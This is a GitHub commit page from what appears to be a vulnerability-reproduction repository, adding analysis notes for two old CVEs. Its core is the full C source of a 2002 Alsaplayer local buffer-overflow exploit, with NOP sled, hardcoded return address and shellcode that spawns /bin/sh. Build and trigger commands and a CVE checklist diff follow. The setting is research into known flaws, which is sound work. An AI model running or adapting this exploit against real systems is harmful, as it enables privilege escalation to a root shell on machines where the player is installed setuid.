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add simple analysis for two CVEs

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mudongliang committed Apr 19, 2018
1 parent ce29056 commit fe8299e015f3bb204af36febd49b4e1af9bcd96d
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I have tested this poc in Redhat 7.2! Please follow the pdf file in this folder.

ExploitHeap Directory contains examples in the following url:
https://www.win.tue.nl/~aeb/linux/hh/hh-11.html
I have tested this poc in Redhat 7.2!
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source: http://www.securityfocus.com/bid/5767/info

Alsaplayer is a PCM player that utilizes the ALSA libraries and drivers. It is availabe for Linux and Unix platforms.

A vulnerability has been discovered in Alsaplayer. By specifying an overly long "add-on path", it is possible for an attacker to overrun the buffer, potentially allowing for execution of attacker-supplied code.

It should be noted that although Alsaplayer is not installed setuid by default, it is common practice for users to add a setuid bit to obtain certain functionality.

/*
* Alsaplayer exploit for a buffer overflow found by KF (snosoft.com)
*
* This program is not installed with special permissions by default.
* However, the author himself does recommend to do so under certain
* conditions:
*
* http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000656.html
* http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000657.html
*
* Author: zillion[at]safemode.org (09/2002)
*
* Tested on Red Hat 7.3 linux with alsaplayer-devel-0.99.71-1
*
*/

#include <unistd.h>
#include <sys/stat.h>
#include <string.h>

#define BUFFER_SIZE 1056
#define NOP 0x90
#define RET 0xbfffe440

char shellcode[]=

"\xeb\x26\x5e\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb0\xa4\xcd\x80"
"\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xd5\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68";

void print_error(char * burb) {
printf(" Error: %s !\n",burb); exit(0);
}

void usage(char *progname) {
printf("\n*--- -- - Alsaplayer b0f exploit - -- ---*\n");
printf("\nDefault: %s -f /path/to/alsaplayer",progname);
printf("\nOption : %s -o <offset>\n\n",progname);
exit(0);
}

int main(int argc, char **argv){

char buffer[BUFFER_SIZE];
char file[30];
long retaddress;
int arg,offset=500;

struct stat sbuf;

if(argc < 2) { usage(argv[0]); }

while ((arg = getopt (argc, argv, "f:o:")) != -1){
switch (arg){
case 'f':
strncpy(file,optarg,sizeof(file));
if(stat(argv[2], &sbuf)) { print_error("No such file");}
break;
case 'o':
offset = atoi(optarg);
if(offset < 0) { print_error("Offset must be positive");}
break;
default :
usage(argv[0]);
}
}

retaddress = (RET - offset);
memset(buffer,NOP,BUFFER_SIZE);
memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);

/* Overwrite EBP and EIP */
*(long *)&buffer[BUFFER_SIZE - 8] = retaddress;
*(long *)&buffer[BUFFER_SIZE - 4] = retaddress;

if(execl(file,file,"-p",buffer,NULL) != 0) {
print_error("Could not execute alsaplayer ");
}

return 0;

}
@@ -2,14 +2,30 @@

## Experiment Environment

Ubuntu 10.04 LTS

## INSTALL & Configuration

```
tar -xvf alsaplayer_0.99.76.orig.tar.gz
cd alsaplayer-0.99.76/
./configure
make
```

## Problems in Installation & Configuration

## How to trigger vulnerability

```
gcc -o 21814 21814.c
./21814 -f ./alsaplayer-0.99.76/app/alsaplayer
```

## PoCs

[AlsaPlayer 0.99.71 - Local Buffer Overflow](https://www.exploit-db.com/exploits/21814/)

## Vulnerability Details & Patch

### Root Cause
@@ -8,9 +8,9 @@ If the vulnerability has both CVE-ID and EDB-ID, I will use CVE-ID as its direct

- [ ] CVE-2001-0144
- [ ] CVE-2001-0550
- [ ] CVE-2002-0656
- [x] CVE-2002-0656
- [x] CVE-2002-1496
- [ ] CVE-2002-1896
- [x] CVE-2002-1896
- [ ] CVE-2004-0238
- [ ] CVE-2004-0270
- [ ] CVE-2004-0557

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